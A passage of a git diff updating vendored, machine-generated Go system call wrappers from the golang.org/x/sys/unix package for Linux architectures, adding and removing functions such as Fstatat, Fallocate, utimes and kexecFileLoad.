--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1462,8 +24,8 @@ func Munlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,14 +34,9 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1488,8 +45,8 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,8 +55,9 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1555,6 +113,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, buf *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
-@@ -1576,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1584,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1592,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1610,7 +183,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1702,6 +275,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1735,8 +328,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1745,8 +339,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1871,6 +466,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getgroups(n int, list *_Gid_t) (nn int, err error) {
- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
- nn = int(r0)
-@@ -1892,6 +497,21 @@ func setgroups(n int, list *_Gid_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1917,8 +537,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1935,3 +560,18 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go
-index 2dd98434..854e816d 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,sparc64 syscall_linux.go syscall_linux_sparc64.go
-+// go run mksyscall.go -tags linux,sparc64 syscall_linux.go syscall_linux_sparc64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,sparc64
-@@ -14,944 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
